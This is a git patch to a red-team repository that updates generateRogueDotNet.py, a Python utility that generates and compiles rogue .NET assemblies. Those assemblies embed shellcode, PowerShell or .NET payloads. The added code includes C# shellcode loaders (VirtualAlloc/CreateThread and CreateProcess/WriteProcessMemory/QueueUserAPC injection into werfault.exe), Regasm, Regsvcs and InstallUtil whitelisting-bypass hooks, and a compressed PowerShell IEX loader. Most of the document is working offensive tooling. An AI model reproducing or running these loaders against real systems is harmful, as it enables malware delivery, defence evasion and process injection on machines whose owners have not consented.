From 5c241dd0fdd9d90e4d669e66a87533bf5435dcc2 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Mon, 18 Jan 2021 15:30:02 -0800 Subject: [PATCH] Updated generateRogueDotNet.py --- red-teaming/cobalt-arsenal | 2 +- red-teaming/malleable_redirector/proxy2 | 2 +- .../rogue-dot-net/generateRogueDotNet.py | 722 +++++++++++++++--- red-teaming/rogue-dot-net/notepad64.bin | Bin 279 -> 0 bytes red-teaming/rogue-dot-net/program-template.cs | Bin 13360 -> 0 bytes red-teaming/rogue-dot-net/rogue.dll | Bin 5632 -> 0 bytes windows/PE-library | 2 +- 7 files changed, 602 insertions(+), 126 deletions(-) delete mode 100644 red-teaming/rogue-dot-net/notepad64.bin delete mode 100644 red-teaming/rogue-dot-net/program-template.cs delete mode 100644 red-teaming/rogue-dot-net/rogue.dll diff --git a/red-teaming/cobalt-arsenal b/red-teaming/cobalt-arsenal index a52ac6a..13ed7f2 160000 --- a/red-teaming/cobalt-arsenal +++ b/red-teaming/cobalt-arsenal @@ -1 +1 @@ -Subproject commit a52ac6aefd2f739c9385984f7e69852fb5e44620 +Subproject commit 13ed7f20834f58a918b6953308f72db21815716b diff --git a/red-teaming/malleable_redirector/proxy2 b/red-teaming/malleable_redirector/proxy2 index ec23811..6badc15 160000 --- a/red-teaming/malleable_redirector/proxy2 +++ b/red-teaming/malleable_redirector/proxy2 @@ -1 +1 @@ -Subproject commit ec2381157c4d5111178bdd95d737399c4b9f1604 +Subproject commit 6badc156c37de46de60ec8837b7e6633c40238e2 diff --git a/red-teaming/rogue-dot-net/generateRogueDotNet.py b/red-teaming/rogue-dot-net/generateRogueDotNet.py index 58b3fe5..8644a2f 100644 --- a/red-teaming/rogue-dot-net/generateRogueDotNet.py +++ b/red-teaming/rogue-dot-net/generateRogueDotNet.py @@ -48,9 +48,109 @@ import struct import random import binascii import argparse +import tempfile +import subprocess +COMPILER_BASE = r'%WINDIR%\\Microsoft.NET\\Framework\\\\csc.exe' -def getCompressedPayload(filePath): +COMPILERS = { + 'v2' : r'v2.0.50727', + 'v4' : r'v4.0.30319', +} + +decompressionFuncs = ''' + public static long CopyTo(Stream source, Stream destination) { + byte[] buffer = new byte[2048]; + int bytesRead; + long totalBytes = 0; + while((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) { + destination.Write(buffer, 0, bytesRead); + totalBytes += bytesRead; + } + return totalBytes; + } + + public static byte[] DecompressString(string compressedText) { + byte[] data = Convert.FromBase64String(compressedText); + + using (MemoryStream ms = new MemoryStream(data)) { + using (GZipStream gzip = new GZipStream(ms, CompressionMode.Decompress)) { + using (MemoryStream decompressed = new MemoryStream()) { + //gzip.CopyTo(decompressed); + CopyTo(gzip, decompressed); + return decompressed.ToArray(); + } + } + } + } +''' + +class ShellCommandReturnedError(Exception): + pass + +def shell2(cmd, alternative = False, stdErrToStdout = False, surpressStderr = False): + CREATE_NO_WINDOW = 0x08000000 + si = subprocess.STARTUPINFO() + si.dwFlags |= subprocess.STARTF_USESHOWWINDOW + si.wShowWindow = subprocess.SW_HIDE + + outs = '' + errs = '' + if not alternative: + out = subprocess.run( + cmd, + shell=True, + capture_output=True, + startupinfo=si, + creationflags=CREATE_NO_WINDOW, + timeout=60 + ) + + outs = out.stdout + errs = out.stderr + + else: + proc = subprocess.Popen( + cmd, + shell=True, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + startupinfo=si, + creationflags=CREATE_NO_WINDOW + ) + try: + outs, errs = proc.communicate(timeout=60) + proc.wait() + + except TimeoutExpired: + proc.kill() + sys.stderr.write('WARNING! The command timed-out! Results may be incomplete\n') + outs, errs = proc.communicate() + + status = outs.decode(errors='ignore').strip() + + if len(errs) > 0 and not surpressStderr: + error = ''' +Running shell command ({}) failed: + +--------------------------------------------- +{} +--------------------------------------------- +'''.format(cmd, errs.decode(errors='ignore')) + + if stdErrToStdout: + return error + + raise ShellCommandReturnedError(error) + + return status + +def shell(cmd, alternative = False, output = False, surpressStderr = False): + out = shell2(cmd, alternative, stdErrToStdout = output, surpressStderr = surpressStderr) + + return out + +def getCompressedPayload(filePath, returnRaw = False): out = io.BytesIO() encoded = '' with open(filePath, 'rb') as f: @@ -60,94 +160,125 @@ def getCompressedPayload(filePath): fo.write(inp) encoded = base64.b64encode(out.getvalue()) + if returnRaw: + return encoded powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format( encoded.decode() ) return powershell -def getSourceFileContents(payload, _format): - launchCode = '' - usings = '' +def getPayloadCode(payload): + return f'shellcode = "{payload}";' - if _format == 'exe': + payloadCode = '\n' + + N = 50000 + codeSlices = map(lambda i: payload[i:i+N], range(0, len(payload), N)) + + variables = [] + + num = 1 + for code in codeSlices: + payloadCode += f'string shellcode{num} = "{code}";\n' + variables.append(f'shellcode{num}') + num += 1 + + concat = 'shellcode = ' + ' + '.join(variables) + ';\n' + payloadCode += concat + + return payloadCode + +def getSourceFileContents( + module, + namespace, + method, + payload, + _format, + apc, + targetProcess, + dontUseNamespace = False, + _type = 'regasm', + command = '' +): + + templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) + if len(module) > 0: + templateName = module + + namespaceName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) + if len(namespace) > 0: + namespaceName = namespace + + methodName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) + if len(method) > 0: + methodName = method + + payloadCode = payload + + if _type not in ['exec', 'run-command']: + payloadCode = getPayloadCode(payload.decode()) + + launchCode = '' + + if _type not in ['exec', 'run-command'] and _format == 'exe': exeLaunchCode = string.Template(''' - public static void Execute() { - string payload = "$payload2"; - byte[] decoded = System.Convert.FromBase64String(payload); + $decompressionFuncs - Assembly asm = Assembly.Load(decoded); + public static bool Execute() { + + string shellcode = ""; + $payloadCode + byte[] payload = DecompressString(shellcode); + + Assembly asm = Assembly.Load(payload); MethodInfo method = asm.EntryPoint; object instance = asm.CreateInstance(method.Name); method.Invoke(instance, null); - }''').safe_substitute( - payload2 = base64.b64encode(payload.encode()).decode() + } + + ''').safe_substitute( + decompressionFuncs = decompressionFuncs, + payloadCode = payloadCode ) launchCode = exeLaunchCode - elif _format == 'raw': + elif _type not in ['exec', 'run-command'] and _format == 'raw': - foo = str(binascii.hexlify(payload), 'ascii') - fooarr = ['0x{}'.format(foo[i:i+2]) for i in range(0, len(foo), 2)] - encodedPayload = ' ' - - for i in range(len(fooarr)): - if i % 16 == 0 and i > 0: - encodedPayload += '\n ' - encodedPayload += '{}, '.format(fooarr[i]) - - encodedPayload = encodedPayload.strip()[:-1] - - shellcodeLoader = string.Template(''' + if not apc: + shellcodeLoader = string.Template(''' + [DllImport("kernel32")] - private static extern IntPtr VirtualAlloc( - IntPtr lpAddress, UIntPtr dwSize, - UInt32 flAllocationType, - UInt32 flProtect - ); + private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] - private static extern bool VirtualFree( - IntPtr lpAddress, - UInt32 dwSize, - UInt32 dwFreeType - ); + private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] - private static extern IntPtr CreateThread( - UInt32 lpThreadAttributes, - UInt32 dwStackSize, - IntPtr lpStartAddress, - IntPtr param, - UInt32 dwCreationFlags, - ref UInt32 lpThreadId - ); + private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] - private static extern bool CloseHandle( - IntPtr hHandle - ); + private static extern bool CloseHandle(IntPtr hHandle); [DllImport("kernel32")] - private static extern UInt32 WaitForSingleObject( - IntPtr hHandle, - UInt32 dwMilliseconds - ); + private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; private static UInt32 MEM_RELEASE = 0x8000; - public static void Execute() { + $decompressionFuncs - byte[] payload = new byte[$payloadSize] { - $payload2 - }; + public static bool Execute() { + + string shellcode = ""; + $payloadCode + byte[] payload = DecompressString(shellcode); IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(payload, 0, funcAddr, payload.Length); @@ -160,22 +291,199 @@ def getSourceFileContents(payload, _format): CloseHandle(hThread); VirtualFree(funcAddr, 0, MEM_RELEASE); - }''').safe_substitute( - payload2 = encodedPayload, - payloadSize = len(payload) + return true; + } + + ''').safe_substitute( + decompressionFuncs = decompressionFuncs, + payloadCode = payloadCode + ) + else: + shellcodeLoader = string.Template(''' + + $decompressionFuncs + + public static bool Execute() { + + string shellcode = ""; + $payloadCode + byte[] payload = DecompressString(shellcode); + + string processpath = Environment.ExpandEnvironmentVariables(@"$targetProcess"); + STARTUPINFO si = new STARTUPINFO(); + PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); + bool success = CreateProcess(null, processpath, + IntPtr.Zero, IntPtr.Zero, false, + ProcessCreationFlags.CREATE_SUSPENDED, + IntPtr.Zero, null, ref si, out pi); + + IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, payload.Length,MEM_COMMIT, PAGE_READWRITE); + IntPtr bytesWritten = IntPtr.Zero; + bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,payload,payload.Length, out bytesWritten); + + IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); + uint oldProtect = 0; + resultBool = VirtualProtectEx(pi.hProcess,resultPtr, payload.Length,PAGE_EXECUTE_READ, out oldProtect); + IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero); + + IntPtr ThreadHandle = pi.hThread; + ResumeThread(ThreadHandle); + return true; + } + + private static UInt32 MEM_COMMIT = 0x1000; + + private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; + private static UInt32 PAGE_READWRITE = 0x04; + private static UInt32 PAGE_EXECUTE_READ = 0x20; + + [Flags] + public enum ProcessAccessFlags : uint + { + All = 0x001F0FFF, + Terminate = 0x00000001, + CreateThread = 0x00000002, + VirtualMemoryOperation = 0x00000008, + VirtualMemoryRead = 0x00000010, + VirtualMemoryWrite = 0x00000020, + DuplicateHandle = 0x00000040, + CreateProcess = 0x000000080, + SetQuota = 0x00000100, + SetInformation = 0x00000200, + QueryInformation = 0x00000400, + QueryLimitedInformation = 0x00001000, + Synchronize = 0x00100000 + } + + [Flags] + public enum ProcessCreationFlags : uint + { + ZERO_FLAG = 0x00000000, + CREATE_BREAKAWAY_FROM_JOB = 0x01000000, + CREATE_DEFAULT_ERROR_MODE = 0x04000000, + CREATE_NEW_CONSOLE = 0x00000010, + CREATE_NEW_PROCESS_GROUP = 0x00000200, + CREATE_NO_WINDOW = 0x08000000, + CREATE_PROTECTED_PROCESS = 0x00040000, + CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, + CREATE_SEPARATE_WOW_VDM = 0x00001000, + CREATE_SHARED_WOW_VDM = 0x00001000, + CREATE_SUSPENDED = 0x00000004, + CREATE_UNICODE_ENVIRONMENT = 0x00000400, + DEBUG_ONLY_THIS_PROCESS = 0x00000002, + DEBUG_PROCESS = 0x00000001, + DETACHED_PROCESS = 0x00000008, + EXTENDED_STARTUPINFO_PRESENT = 0x00080000, + INHERIT_PARENT_AFFINITY = 0x00010000 + } + + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public uint dwProcessId; + public uint dwThreadId; + } + + public struct STARTUPINFO + { + public uint cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public uint dwX; + public uint dwY; + public uint dwXSize; + public uint dwYSize; + public uint dwXCountChars; + public uint dwYCountChars; + public uint dwFillAttribute; + public uint dwFlags; + public short wShowWindow; + public short cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [Flags] + public enum ThreadAccess : int + { + TERMINATE = (0x0001) , + SUSPEND_RESUME = (0x0002) , + GET_CONTEXT = (0x0008) , + SET_CONTEXT = (0x0010) , + SET_INFORMATION = (0x0020) , + QUERY_INFORMATION = (0x0040) , + SET_THREAD_TOKEN = (0x0080) , + IMPERSONATE = (0x0100) , + DIRECT_IMPERSONATION = (0x0200) + } + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, + int dwThreadId); + + [DllImport("kernel32.dll",SetLastError = true)] + public static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + int nSize, + out IntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); + + [DllImport("kernel32")] + public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, + Int32 size, UInt32 flAllocationType, UInt32 flProtect); + + [DllImport("kernel32.dll", SetLastError = true )] + public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, + Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess( + ProcessAccessFlags processAccess, + bool bInheritHandle, + int processId + ); + + [DllImport("kernel32.dll")] + public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, + bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, + string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll")] + public static extern uint ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll")] + public static extern uint SuspendThread(IntPtr hThread); + + [DllImport("kernel32.dll")] + public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, + int dwSize, uint flNewProtect, out uint lpflOldProtect); + + ''').safe_substitute( + decompressionFuncs = decompressionFuncs, + templateName = templateName, + payloadCode = payloadCode, + targetProcess = targetProcess ) launchCode = shellcodeLoader - else: - usings += ''' -using System.Management.Automation; -using System.Management.Automation.Runspaces; -''' + elif _type not in ['exec', 'run-command']: powershellLaunchCode = string.Template(''' - public static void Execute() { + $decompressionFuncs - byte[] payload = System.Convert.FromBase64String("$payload2"); + public static bool Execute() { + + string shellcode = ""; + $payloadCode + byte[] payload = DecompressString(shellcode); string decoded = System.Text.Encoding.UTF8.GetString(payload); Runspace runspace = RunspaceFactory.CreateRunspace(); @@ -186,20 +494,23 @@ using System.Management.Automation.Runspaces; pipeline.Invoke(); runspace.Close(); - }''').safe_substitute( + return true; + } + + ''').safe_substitute( + decompressionFuncs = decompressionFuncs, payload2 = base64.b64encode(payload.encode()).decode() ) launchCode = powershellLaunchCode + namespaceStart = 'namespace ' + namespaceName + ' {' + namespaceStop = '}' - template = string.Template(''' -using System; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.InteropServices; -using System.EnterpriseServices; -$usings + if dontUseNamespace: + namespaceStart = namespaceStop = '' + + assemblyAdditions1 = ''' /* Author: Casey Smith, Twitter: @subTee @@ -226,28 +537,27 @@ $usings # %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll */ -namespace Program -{ - public class Bypass : ServicedComponent - { - public Bypass() - { - } - + +''' + assemblyAdditions2 = ''' + // This executes if registration is successful [ComRegisterFunction] public static void RegisterClass( string key ) { - Shellcode.Execute(); + Execute(); } // This executes if registration fails [ComUnregisterFunction] public static void UnRegisterClass( string key ) { - Shellcode.Execute(); + Execute(); } - } + +''' + + assemblyAdditions3 = string.Template(''' [System.ComponentModel.RunInstaller(true)] public class ForInstallUtil : System.Configuration.Install.Installer @@ -255,20 +565,101 @@ namespace Program // This executes during InstallUtil /U invocation public override void Uninstall(System.Collections.IDictionary savedState) { - Shellcode.Execute(); + $templateName.Execute(); } } - - public class Shellcode + +''').safe_substitute(templateName = templateName ) + + assemblyAdditions4 = ' : ServicedComponent' + + if _type != 'regasm': + assemblyAdditions1 = assemblyAdditions2 = '' + assemblyAdditions3 = assemblyAdditions4 = '' + + if _type == 'exec': + launchCode = ''' + + public static bool Execute() { + Process.Start(Environment.ExpandEnvironmentVariables(@"")); + return true; + } + +'''.replace('', payloadCode) + + elif _type == 'run-command': + launchCode = ''' + + public static bool Execute() { + return true; + } + + public static bool Execute(string command) { + if(!String.IsNullOrEmpty(command)) { + Process.Start(Environment.ExpandEnvironmentVariables(command)); + return true; + } + return false; + } + +'''.replace('', payloadCode) + + template = string.Template(''' + +$assemblyAdditions1 + +using System.Management.Automation; +using System.Management.Automation.Runspaces; +using Microsoft.Build.Framework; +//using Microsoft.Build.Utilities; +using System; +using System.Diagnostics; +using System.Reflection; +using System.EnterpriseServices; +using System.Runtime.InteropServices; +using System.IO; +using System.IO.Compression; +using System.Text; + + +$namespaceStart + + [ComVisible(true)] + public class $templateName $assemblyAdditions4 { + public $templateName() + { + Execute(); + } + + public void $methodName(string command) + { + Execute($runCommand); + } + + $assemblyAdditions2 + $launchCode } -}''').safe_substitute( + + $assemblyAdditions3 + +$namespaceStop + +''').safe_substitute( + namespaceStart = namespaceStart, launchCode = launchCode, - usings = usings + templateName = templateName, + assemblyAdditions1 = assemblyAdditions1, + assemblyAdditions2 = assemblyAdditions2, + assemblyAdditions3 = assemblyAdditions3, + assemblyAdditions4 = assemblyAdditions4, + runCommand = 'command' if _type == 'run-command' else '', + methodName = methodName, + namespaceStop = namespaceStop ) - return template + return template, templateName def detectFileIsExe(filePath, forced = False): first1000 = [] @@ -293,10 +684,23 @@ def detectFileIsExe(filePath, forced = False): def opts(argv): - parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ') - parser.add_argument('inputFile', help = 'Input file to be embeded within C# code. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.') - parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!') - parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread.') + parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ') + parser.add_argument('inputFile', help = 'Input file to embedded into C# source code for --type regasm|plain. If --type exec was given, this parameter specifies command line to execute by the resulting assembly (environment variables will get expanded). May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.') + + parser.add_argument('-t', '--type', choices=['regasm', 'plain', 'exec', 'run-command'], help = 'Specifies type of source code template to choose from while generating rogue .NET assembly. "regasm" - generates a template compatible with Regasm/Regsvcs/InstallUtil code execution primitives, "plain" - just a simple plain assembly with embedded shellcode/ps1/exe, "exec" - a simple shell command execution assembly which takes a command specified in "inputFile|cmdline" required parameter, "run-command" exposes a method named --method which takes one string parameter being a command to run. Default: regasm') + parser.add_argument('-c', '--compile', choices=['nocompile', 'x86', 'x64'], default='nocompile', help = 'Compile the source code using x86 or x64 csc.exe and generate output EXE/DLL file depending on --output extension. Default: nocompile - meaning the script will only produce .cs source code rather than compiled binary file.') + parser.add_argument('-o', '--output', metavar='PATH', default='', type=str, help = 'Output path where to write generated script. Default: stdout') + parser.add_argument('-s', '--namespace', metavar='NAME', default='ProgramNamespace', type=str, help = 'Specifies custom C# module namespace for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: ProgramNamespace.') + parser.add_argument('-n', '--module', metavar='NAME', default='Program', type=str, help = 'Specifies custom C# module name for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: Program.') + parser.add_argument('-m', '--method', metavar='NAME', default='Foo', type=str, help = 'Specifies method name that could be used by DotNetToJS and alike deserialization techniques to invoke our shellcode. Default: Foo') + parser.add_argument('-e', '--exe', action='store_true', + help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!') + parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread (VirtualAlloc + CreateThread)') + parser.add_argument('--dotnet-ver', choices=['v2', 'v4'], default='v2', help='Use specific .NET version for compilation (with --compile given). Default: v2') + parser.add_argument('--queue-apc', action='store_true', + help = 'If --raw was specified, generate C# code template with CreateProcess + WriteProcessMemory + QueueUserAPC process injection technique instead of default CreateThread.') + parser.add_argument('--target-process', metavar='PATH', default=r'%windir%\system32\werfault.exe', + help = r'This option specifies target process path for remote process injection in --queue-apc technique. May use environment variables. May also contain command line for spawned process, example: --target-process "%%windir%%\system32\werfault.exe -l -u 1234"') args = parser.parse_args() @@ -304,54 +708,119 @@ def opts(argv): sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n') sys.exit(-1) + args.target_process = args.target_process.replace("^%", '%') + return args def main(argv): sys.stderr.write(''' :: Rogue .NET Source Code Generation Utility - To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm/InstallUtil. + Comes with a few hardcoded C# code templates and an easy wrapper around csc.exe compiler Mariusz B. / mgeeky, ''') if len(argv) < 2: - print('Usage: ./generateRogueDotNet.py ') + print('Usage: ./generateRogueDotNet.py ') sys.exit(-1) args = opts(argv) _format = 'powershell' - if args.exe: - if not detectFileIsExe(args.inputFile, args.exe): - sys.stderr.write('[-] File not recognized as PE/EXE.\n\n') - return False + if args.type not in ['exec', 'run-command']: + if args.exe: + if not detectFileIsExe(args.inputFile, args.exe): + sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') + return False - _format = 'exe' - sys.stderr.write('[+] File recognized as PE/EXE.\n\n') - with open(args.inputFile, 'rb') as f: - payload = f.read() + _format = 'exe' + sys.stderr.write('[?] File recognized as PE/EXE.\n\n') + with open(args.inputFile, 'rb') as f: + payload = f.read() - elif args.raw: - _format = 'raw' - sys.stderr.write('[+] File specified as raw Shellcode.\n\n') - with open(args.inputFile, 'rb') as f: - payload = f.read() + elif args.raw: + _format = 'raw' + sys.stderr.write('[?] File specified as raw Shellcode.\n\n') + with open(args.inputFile, 'rb') as f: + payload = f.read() + + else: + sys.stderr.write('[?] File not recognized as PE/EXE.\n\n') + + if args.inputFile.endswith('.exe'): + return False + + payload = getCompressedPayload(args.inputFile, _format != 'powershell') + else: + payload = args.inputFile + + output, templateName = getSourceFileContents( + args.module, + args.namespace, + args.method, + payload, + _format, + args.queue_apc, + args.target_process, + dontUseNamespace = False, + _type = args.type + ) + + management = ' /r:System.Management.Automation.dll /r:Microsoft.Build.Framework.dll' + + if args.compile != 'nocompile': + if not args.output: + print('[!] --output must be specified to compile file.') + sys.exit(1) + + srcfile = '' + with tempfile.NamedTemporaryFile() as f: + srcfile = f.name + '.cs' + + target = 'winexe' + if args.output.lower().endswith('.dll'): + target = 'library' + else: + output = output.replace('public ' + templateName + '()', 'static public void Main(String[] args)') + + + with open(srcfile, 'w') as f: + f.write(output) + + p = COMPILER_BASE.replace('', COMPILERS[args.dotnet_ver]) + + if args.compile == 'x64': + p = p.replace('', '64') + else: + p = p.replace('', '') + + if args.type == 'regasm': + cmd = p + ' /o+ /r:System.EnterpriseServices.dll{} /target:{} /out:{} /keyfile:key.snk {}'.format( + management, target, args.output, srcfile + ) + else: + cmd = p + ' /o+ /r:System.EnterpriseServices.dll{} /target:{} /out:{} {}'.format( + management, target, args.output, srcfile + ) + + if os.path.isfile(args.output): + os.remove(args.output) + + print('Compiling as .NET ' + COMPILERS[args.dotnet_ver] + ':\n\t' + cmd + '\n') + out = shell(os.path.expandvars(cmd)) + print(out) + + if os.path.isfile(args.output): + print('[+] Success') + else: + return 1 else: - sys.stderr.write('[+] Powershell code given.\n') - - if args.inputFile.endswith('.exe'): - return False - - payload = getCompressedPayload(args.inputFile) - - output = getSourceFileContents(payload, _format) - - print(output) - - management = '' - if _format == 'powershell': - management = ' /r:System.Management.Automation.dll' + if len(args.output) > 0: + with open(args.output, 'w') as f: + f.write(output) + else: + print(output) commands = ''' @@ -379,9 +848,16 @@ Step 3: Execute your payload! '''.format(management) if 'PROGRAMFILES(X86)' in os.environ: - commands = commands.replace('Framework', 'Framework64') + commands = commands.replace('Framework\\', 'Framework64\\') - sys.stderr.write(commands) + if args.type == 'regasm': + sys.stderr.write(commands) + elif args.type == 'plain': + + sys.stderr.write('[?] Generated plain assembly\'s source code/executable.\n') + elif args.type in ['exec', 'run-command']: + + sys.stderr.write('[?] Generated command line executing assembly\'s source code/executable.\n') if __name__ == '__main__': main(sys.argv) diff --git a/red-teaming/rogue-dot-net/notepad64.bin b/red-teaming/rogue-dot-net/notepad64.bin deleted file mode 100644 index 45231ea37e9068d9a9912c6ce4c3301efa8f7d0f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 279 zcmez4(fs7YivtV{432@00YQOb9)_1vJ-UMufLH>E6+F6&0zCM)dwKa9p7bz0u*N2_ zhDk@k@!&~bN5+GX-Uc}af>d=o*?2Hs=x*o$8syP>pd=m03+VQcaOrkX@MOI3ILzb! zNyl!J4iCm_P;;OrSUf2G=)>%z!r^LpvGhg+P`wIJeVSu8j|Y$~17tgPvjDYSaEx$_ zh>MH@Qjv~P9?fqQ9E1Kp0CJ){x`keb|Ns9#)?*hV&~^~;=lF3Qhhh;;0{_5W&Keo1OUVv1gBMJfXT Dv0!h| diff --git a/red-teaming/rogue-dot-net/program-template.cs b/red-teaming/rogue-dot-net/program-template.cs deleted file mode 100644 index ccdc917de32b9a7ae7e63b6dda8d171701e7e200..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13360 zcmd6tX;T|X5{CQpM(lskPE5q$@eUFoiDQo#5SOsIZ|sQ)bZ{6DSO{}W_^c%6#*vtgLGN_dkD4{*v4z*U4$pN{*9UvYFg-*GZbmMe>j2v8Thy zETaw?)k-einA4=r^{G)C@IFe;`K=@8l(DS=#@s+9>I=pVCslXXOxldT0<&5lcv`3R zG=jNLqpuiu%7|tk9@1ameDbrq=CF`H)7Y$&oFKiOOmSbq4&ri8dlQVO?&;sT+e&WT zoh<5Ue}(cUsqv)AN8AI~it|JVuHx{((+1CKaFvW@WC*Ri^}ziMcF2J&2lcVzbq1wm z{*#_s@+)6?Rio~cU*LMgr%8{z{ejjn_L8iBM<`zNRCW|y(@CB|r&;)p!KH%d4jl%M z-QwRw>n8rlB_my{w7EZYy}4u`SvO#jg*sg2cSYO^6!K~=dBv|R_zQ?~$(g$w21Sc@ z@I)y@a$vrTAfR|!vF_}n8 zP>-R&%Nvx=00!W!>#qk|f%k&&$fev_2oV{nkFiLw5i;RQz75Z1Or#yE6 zs`qf%gI@`mtMI&mZXSNK^sG6QFX_4Gd%&|rV(|h5_l&<{T!E3ZT;HSf9M~_RI>0t3 z=u-vP2$tK1Vv}*JP{K#u{(6NTJYk1E(IoDXAJvJdq;&>Ycof!r0WF@_J0-Tcrx zSBHNcOYg%|*sArw+P3cy^p$TX1PYx9ku} zv)4$y0o$Il)*|%B;Jbr^GQbWqVjO8r#wqsi=_$BKdd1xemT0444T-x@t|Pz7_Z>VR zkpGh3G8!reEJM4D7CU%m$IZk8IK4yuGChaR?`8O3;e!igD-&rpb)YE2dlp`jIl;Z= z%?h(`3puagu?IT&tTl#Myt#lFr`(} zFnC0x6}1h`Z>)V&NYn~S?btUgJv zs?0ilO}sB8d8ns)d?Kx-jUu97jW-N3tz_cR!HR8SK~|rl@03~5c73Wy@*q;hH$`6) zs%wx5h2`KqbJVrg6!=xmg!(1ta9lE0TrcR?`2HRkLskyUNW;35Eluwo4%JXsaJdKP zCD%ssx3BJlUONO|^!5h}f9)9YI5hWU>&MZ38*FI|1$24xRjzM@eH)a$7JLk&5dO?u z(N$mVJyh9WyJ+=UV-5Y%Ssi`n~#7n&((8Eb_}r~ z8ts_0lk)pzJr|XBl65|^@iil~f@aBk)3wb8l*ewY&yDkp(CQHQ{+2m9wvn)SBy|vc zz}lx|pq#6=EN{P46s{qMR2qa8$mhl!7S2MO?Wth>O{}KM;2hjq)wGYDi}IvA=T9NR zm~j1?9y-EGS~-1|4+z3Fcw`&<`&{L{tcd=SUJ?IZuYdoZ@qV(gkyUfWb6pjxqT!r) z*l=-OMRy;qiWXUR$ju|wN-wC>EdMyhZQhxOZ=34V^4fMYMwNrlL!VcJssoNeVP~yB zw@MN9-V33{lsylg&K(UWH_Wwu$bBXkmFBSaDIp733?W`)`&=?cXf>l{bDIYgapIcl zIn+~|sb2OTNi&aXsVch!)rSFxKeW4qW&DSiliDEMgNmy^Po_$?^>2yQ0tJhcBkLtYn|Mygu zj@h30^FGwbfH?RqOYZk$_c+EY&e}dxsmhb>wNFzel%+?u{WMeT=xL(QS5Y-GyyEft znRCN?MD<&pd@<g2vQ>TQtiH%~ znLA}wot9`eE2ewT`Eoqb+gI(`b#~z2pz8g*Rs-eJ#;4P+r*J&>T<@I4@eRAA&oL;X zRA=6DO({ot(=h4ivuoL4qi|JB>ivjjm)b?%4TSat6>MlXc@o-3P=~IaevCEL}l4a|Cs%(jwSpX##$Y9njQKZhJTs&5~1JHPhjiNZ}F6kzJt(@ 